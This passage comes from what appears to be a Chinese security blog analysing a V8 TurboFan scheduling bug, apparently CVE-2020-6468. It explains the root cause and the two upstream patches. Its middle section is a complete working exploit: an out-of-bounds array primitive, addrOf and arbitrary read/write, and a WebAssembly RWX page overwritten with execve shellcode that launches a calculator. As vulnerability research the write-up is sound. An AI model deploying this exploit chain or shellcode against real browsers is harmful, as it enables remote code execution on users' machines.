  _vptr$Operator = 0x55898c38e798 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::DeoptimizeUnlessOperator<(v8::internal::DeoptimizeKind)0, (v8::internal::DeoptimizeReason)26, (v8::internal::compiler::IsSafetyCheck)1>+16>,
  mnemonic_ = 0x55898b3ade57 "DeoptimizeUnless",
  opcode_ = 13,
  properties_ = {
    mask_ = 56 '8'
  },
  value_in_ = 2,
  effect_in_ = 1,
  control_in_ = 1,
  value_out_ = 0,
  effect_out_ = 1 '\001',
  control_out_ = 1
}


$193 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  loop_number_ = -1,
  rpo_number_ = -1,
  deferred_ = false,
  dominator_depth_ = -1,
  dominator_ = 0x0,
  rpo_next_ = 0x0,
  loop_header_ = 0x0,
  loop_end_ = 0x0,
  loop_depth_ = 0,
  control_ = v8::internal::compiler::BasicBlock::kNone,
  control_input_ = 0x0,
  nodes_ = {
   		// ...
      }, <No data fields>}, <No data fields>},
  successors_ = {
    	// ...
      }, <No data fields>}, <No data fields>},
  predecessors_ = {
			// ...
      }, <No data fields>}, <No data fields>},
  id_ = {
    index_ = 4
  }
}

OOB实现总结

这里对整个漏洞的触发和利用再做一个总结。

漏洞触发的原因是由于在TyperLowering阶段会执行一次DeadCodeElimination死代码消除，对于137 Terminate节点由于只判断了该节点的input输入节点的类型是否为kDead、kUnreachable、kDeadValue，如果是则将Terminate节点转变为137 Throw节点。由于Terminate节点是不应该参与程序后序的优化流程的，但是这里却被转变为Throw节点并被保留下来，最终使得程序的执行流程被这个节点所影响。

具体的影响是，在EffectControlLinearizition阶段开始的Create CFG时，由于137 Throw节点会被当作Fixed根节点，所以在此时就会为其分配基本块，而由于其control input输入节点是74 call节点，使得其最终被分配block 3。

而在EffectControlLinerizition的EffectLinearizition阶段时，对于422 Unreachable节点会进行ConnectUnreachable处理，会建立一个新的476 Throw节点，并将该节点连接到end节点处。随后在EffectControlLinearizition中的ReduceGraph阶段将原本的另一个186 Throw节点消除。

然后在执行完最终的EffectControlLinerizition阶段后，还会执行一次ComputeSchedule，在又一次Create CFG时会对新生成的476 Throw节点会在ConnectBlock中计算基本块，这里由于其连接的是475 DeoptimizeUnless所以被分配了Block 4。

在又一次的ScheduleEarly阶段将节点放入基本块，并计算基本块之间的执行顺序时，会通过直接支配节点来计算。虽然137 Throw block 3和476 Throw block 4都是422 Unreachable的支配节点，但是137 Throw节点的基本块深度更小，所以会选择Block 3作为422 Unreachable节点的基本块编号。此时，137 Throw 节点就已经对基本块构建产生了影响，使得422 unreachable 节点由block 4被放入了block 3。然后，按照支配节点树的传播，导致将79 Store赋值节点放入了block 3，而对其进行类型检查的节点465 DeoptimizeUnless被正常放到了block 4。

最终，使得79 Store节点在 465 DeoptimizeUnless节点 之前被执行，我们可以对对象按照原有的Map结构进行赋值，最终修改数组对象的length=-1，实现OOB

漏洞利用

前面的POC2已经实现了一个数组的OOB，后面的利用就基本是常规思路。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
function gc()
{
  for(var i = 0;i < ((1024*1024));i++){
    var a = new String();
  }
}

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var u32 = new Uint32Array(buf);
function hex(i)
{
  return i.toString(16).padStart(16, "0");
}
// 浮点数转换为64位无符号整数
function f2i(f)
{
  float64[0] = f;
  return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
  bigUint64[0] = i;
  return float64[0];
}

function p_64(low, high){
    u32[0] = low;
    u32[1] = high;
    return float64[0];
}

function get_low(val){
    float64[0] = val;
    return u32;
}

class classA {
  constructor() {
    this.val = 0x4242;
    this.x = 0;
    this.a = [1,2,3];
  }
}

class classB {
  constructor() {
    this.val = 0x4141;
    this.x = 1;
    this.s = "dsa";
  }
}

var A = new classA();
var B = new classB()

function ff (arg1, arg2) {
  if (arg2 == 41) {
    return 5;
  }
  var int8arr = new Int8Array ( 10 ) ;
  var z = arg1.x;
  // new arr length
  arg1.val = -1;
  int8arr [ 1500000000 ] = 22 ;
  async function ff2 ( ) {
    const nothing = {} ;
    while ( 1 ) {
      //print("in loop");
      if ( abc1 | abc2 ) {
        while ( nothing ) {
          await 1 ;
          print(abc3);
        }
      }
    }
  }
  ff2 ( ) ;
}


gc();
var arr = [];
arr[0] = 1.1;
%DebugPrint(arr);

var i;
// this may optimize and deopt, that's fine
for (i=0; i < 20000; i++) {
    ff(A,0);
    ff(B,0);
}
// this will optimize it and it won't deopt
// this loop needs to be less than the previous one
for (i=0; i < 10000; i++) {
    ff(A,41);
    ff(B,41);
}

// change the arr length
ff(arr,0);

console.log("LENGTH: " + arr.length.toString());


var a = {"a":"1"};
var arr2 = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
var arr_obj = [a];
gc();

// %DebugPrint(arr);
// %DebugPrint(arr_obj);
// %DebugPrint(arr2);

// %SystemBreak();
function addrOf(object){
    arr_obj[0] = object;
    return arr[61];
}

function arb_read(addr){
    arr[52] = p_64(addr-8,0x1000);
    return arr2[0];
}

function arb_write(addr, data){
    arr[52] = p_64(addr-8, 0x1000);
    arr2[0] = data;
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1 ,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145, 128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0 ,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
console.log("wasmInstance:");
var instance_addr = get_low(addrOf(wasmInstance));
//console.log(f2i(instance_addr));
console.log(hex(instance_addr[0]));

// %DebugPrint(wasmInstance);
// %SystemBreak();

var rwx_page = arb_read(instance_addr[0]+0x68)
console.log(f2i(rwx_page));

let calc_sc = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
    
var data_buf = new ArrayBuffer(128);
var data_view = new DataView(data_buf);
var data_buf_addr = get_low(addrOf(data_buf));
//%DebugPrint(data_buf);
var buf_backing_store_addr = data_buf_addr[0] - 1 + 0x20 -8;
arb_write(buf_backing_store_addr-3, rwx_page);

//%SystemBreak();
for (var i = 0; i < calc_sc.length; i++)
    data_view.setUint8(i, calc_sc[i]) ; 
f();

漏洞修复

1
2
3
4
5
6
7
8
9
10
11
   node->opcode() == IrOpcode::kTailCall);
   Reduction reduction = PropagateDeadControl(node);
   if (reduction.Changed()) return reduction;
-  if (FindDeadInput(node) != nullptr) {
+  // Terminate nodes are not part of actual control flow, so they should never
+  // be replaced with Throw.
+  if (node->opcode() != IrOpcode::kTerminate &&
+      FindDeadInput(node) != nullptr) {
     Node* effect = NodeProperties::GetEffectInput(node, 0);
     Node* control = NodeProperties::GetControlInput(node, 0);
     if (effect->opcode() != IrOpcode::kUnreachable) {

漏洞修复第一处是在DeadCodeElimination阶段将ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数中判断当前处理节点类型中单独增加一个Terminate类型的判断，如果是Terminate节点则不再将其替换为Throw节点。一旦Terminate节点在这里不再变为Throw节点，那么其在后续的ReduceLoopOrMerge会被替换为Dead，然后被消除，不再参与代码后续的优化流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//src/compiler/dead-code-elimination.cc:114
Reduction DeadCodeElimination::ReduceLoopOrMerge(Node* node) {
  DCHECK(IrOpcode::IsMergeOpcode(node->opcode()));
  Node::Inputs inputs = node->inputs();
  DCHECK_LE(1, inputs.count());
  // Count the number of live inputs to {node} and compact them on the fly, also
  // compacting the inputs of the associated {Phi} and {EffectPhi} uses at the
  // same time.  We consider {Loop}s dead even if only the first control input
  // is dead.
  int live_input_count = 0;
  if (node->opcode() != IrOpcode::kLoop ||
      node->InputAt(0)->opcode() != IrOpcode::kDead) {
    for (int i = 0; i < inputs.count(); ++i) {
      Node* const input = inputs[i];
      // Skip dead inputs.
      if (input->opcode() == IrOpcode::kDead) continue;
      // Compact live inputs.
      if (live_input_count != i) {
        node->ReplaceInput(live_input_count, input);
        for (Node* const use : node->uses()) {
          if (NodeProperties::IsPhi(use)) {
            DCHECK_EQ(inputs.count() + 1, use->InputCount());
            use->ReplaceInput(live_input_count, use->InputAt(i));
          }
        }
      }
      ++live_input_count;
    }
  }
  if (live_input_count == 0) {
    //这里
    return Replace(dead());
  //....
}

漏洞修复的第二处是在Schedule阶段的ConnectBlocks，对``Goto\ Call\ Branch\ Switch\ TailCall\ Return\ Deoptimize\ Throw\ InsertBranch\ InsertSwicth类型都加了一个CHECK检查判断基本块的control_属性是否为kNone。这里的防范可以看到是为了防止其他类型也发生本漏洞一样的漏洞模式利用，所以这里会对Block做一个强制类型检查，确保每一个基本块都只能对control_赋值一次。从代码思路上来说，每一个基本块只能有一个输入节点和一个输出节点，如果对一个基本块进行多次control_`赋值那么就相当于为基本块引入两个输出节点，那么就会影响后续的节点加入基本块的计算。

所以，这里将这一类漏洞全部都进行了修复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
@@ -218,7 +218,7 @@
 }
 
 void Schedule::AddGoto(BasicBlock* block, BasicBlock* succ) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kGoto);
   AddSuccessor(block, succ);
 }
@@ -243,7 +243,7 @@
 
 void Schedule::AddCall(BasicBlock* block, Node* call, BasicBlock* success_block,
                        BasicBlock* exception_block) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   DCHECK(IsPotentiallyThrowingCall(call->opcode()));
   block->set_control(BasicBlock::kCall);
   AddSuccessor(block, success_block);
@@ -253,7 +253,7 @@
 
 void Schedule::AddBranch(BasicBlock* block, Node* branch, BasicBlock* tblock,
                          BasicBlock* fblock) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   DCHECK_EQ(IrOpcode::kBranch, branch->opcode());
   block->set_control(BasicBlock::kBranch);
   AddSuccessor(block, tblock);
@@ -263,7 +263,7 @@
 
 void Schedule::AddSwitch(BasicBlock* block, Node* sw, BasicBlock** succ_blocks,
                          size_t succ_count) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   DCHECK_EQ(IrOpcode::kSwitch, sw->opcode());
   block->set_control(BasicBlock::kSwitch);
   for (size_t index = 0; index < succ_count; ++index) {
@@ -273,28 +273,28 @@
 }
 
 void Schedule::AddTailCall(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kTailCall);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
 }
 
 void Schedule::AddReturn(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kReturn);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
 }
 
 void Schedule::AddDeoptimize(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kDeoptimize);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
 }
 
 void Schedule::AddThrow(BasicBlock* block, Node* input) {
-  DCHECK_EQ(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, block->control());
   block->set_control(BasicBlock::kThrow);
   SetControlInput(block, input);
   if (block != end()) AddSuccessor(block, end());
@@ -302,8 +302,8 @@
 
 void Schedule::InsertBranch(BasicBlock* block, BasicBlock* end, Node* branch,
                             BasicBlock* tblock, BasicBlock* fblock) {
-  DCHECK_NE(BasicBlock::kNone, block->control());
-  DCHECK_EQ(BasicBlock::kNone, end->control());
+  CHECK_NE(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, end->control());
   end->set_control(block->control());
   block->set_control(BasicBlock::kBranch);
   MoveSuccessors(block, end);
@@ -317,8 +317,8 @@
 
 void Schedule::InsertSwitch(BasicBlock* block, BasicBlock* end, Node* sw,
                             BasicBlock** succ_blocks, size_t succ_count) {
-  DCHECK_NE(BasicBlock::kNone, block->control());
-  DCHECK_EQ(BasicBlock::kNone, end->control());
+  CHECK_NE(BasicBlock::kNone, block->control());
+  CHECK_EQ(BasicBlock::kNone, end->control());
   end->set_control(block->control());
   block->set_control(BasicBlock::kSwitch);
   MoveSuccessors(block, end);

总结与思考

这个漏洞是一个十分有难度的漏洞，主要是其漏洞触发点并不会直接对V8造成影响，而是在后续的EffectControlLineariziton阶段将节点放入基本块时造成了影响。从漏洞产生到真正触发可利用的OOB，需要经过多重优化，需要对Turbofan的各种优化机制都有十分深入的了解才能够构造出一份可利用的代码。

漏洞成因本质上是对于一个Terminate节点在TypedLowering阶段的DeadCodeElimination消除时，开发者原本认为Terminate、Return、TailCall、kDeoptimize是具有相同含义的节点，只判断了这些节点的input输入节点的类型是否为空，如果不为空则将其替换为Throw节点。该节点被替换后，避免了后续对该节点的消除，使其能够参与后续的代码优化，最终导致后续基本块计算时影响了节点支配树的，最终导致节点的执行顺序发生了变化。

漏洞利用的本质方法是利用这个Throw节点在后续EffectControlLinearizition阶段，构建基本块时会被分配Block 3，与另一个Throw节点（分配到Block 4)同时与unreachable节点连接，最后使得计算出来的Unreachable节点的基本块为Block 3。对于后续将节点加入基本块时，根据支配树的关系，会使得一个赋值节点StoreField由原本的Block 4被错误分配到了Block 3，使其在检查节点DeoptimizeUnless之前。最终，我们就能够通过这个赋值操作修改对象的数据而不对该对象进行类型检查。

漏洞模式上来看是Terminate节点和Return、TailCall、kDeoptimize节点是不具有相同含义的，其不是原本控制流的一部分，而在处理它时却统一将转换为了Throw节点，使得该节点能够参与后续的代码优化流程，最终对代码优化结果产生了影响。也就是由于漏洞，在优化过程中原本正常的节点图中多了一个能够参与控制流的节点，这是本质上的问题。

这种模式也可能发生在其他被含义混淆的类型，但是漏洞修复的第二个patch在对基本块进行边连接时，会对基本块的control_进行检查，从根本上避免了一个基本块有多个输出节点，也就避免了在根据输出节点的支配树来将其他节点加入基本块时将节点的所属基本块计算错误。

参考文献

An overview of the TurboFan compiler

A Tale of TurboFan

chrome V8 issue-1076708 暨 CVE-2020-6468 漏洞分析

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing